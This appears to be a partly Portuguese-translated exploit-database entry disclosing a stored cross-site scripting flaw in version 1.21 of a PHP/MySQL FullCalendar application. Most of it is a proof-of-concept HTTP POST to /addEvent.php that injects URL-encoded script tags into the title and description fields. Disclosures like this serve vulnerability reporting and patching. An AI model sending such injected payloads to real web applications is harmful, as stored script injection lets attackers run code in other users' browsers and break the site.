Waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 – ‘description’ Cross-Site Scripting

Título da exploração: waldronmatt FullCalendar-BS4-PHP-MySQL-JSON 1.21 – ‘description’ Script entre sites
Data: 2019-10-28
Autor de Exploit: Cakes
Página do fornecedor: waldronmatt / FullCalendar-BS4-PHP-MySQL-JSON
Link do software: https://github.com/waldronmatt/FullCalendar-BS4-PHP-MySQL-JSON.git
Versão: 1.21
Testado em: CentOS7
CVE: N / D

# Descrição:
# Vulnerabilidade de script entre sites no campo de descrição. Esse XSS interrompe completamente o aplicativo da web.

#POC
POST /addEvent.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.20/calendar03/
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Cookie: PHPSESSID=t41kk4huqaluhcfghvqqvucl56
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

title=%3Cscript%3Ealert%28%22TEST-Title%22%29%3B%3C%2Fscript%3E&description=%3Cscript%3Ealert%28%22TEST-Description%22%29%3B%3C%2Fscript%3E&color=%230071c5&start=2019-01-23+00%3A00%3A00&end=2019-01-24+00%3A00%3A00